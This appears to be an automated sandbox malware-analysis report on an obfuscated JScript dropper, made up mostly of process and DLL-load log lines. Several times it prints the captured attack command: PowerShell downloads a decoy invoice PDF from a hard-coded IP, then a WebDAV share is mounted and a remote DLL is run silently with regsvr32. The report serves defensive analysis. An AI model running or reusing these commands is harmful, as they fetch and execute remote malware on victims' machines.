Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8343.js.csv");ITextStream.WriteLine(" entry:8115 f:gthlxitia");ITextStream.WriteLine(" exec:2 f:gthlxitia");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3157			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6693			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep count: 3157 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep count: 6693 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2944	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1497440971.000001FE391FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2718213260.00000272CF254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2716725389.00000272C9C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1497709355.000001FE39198000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
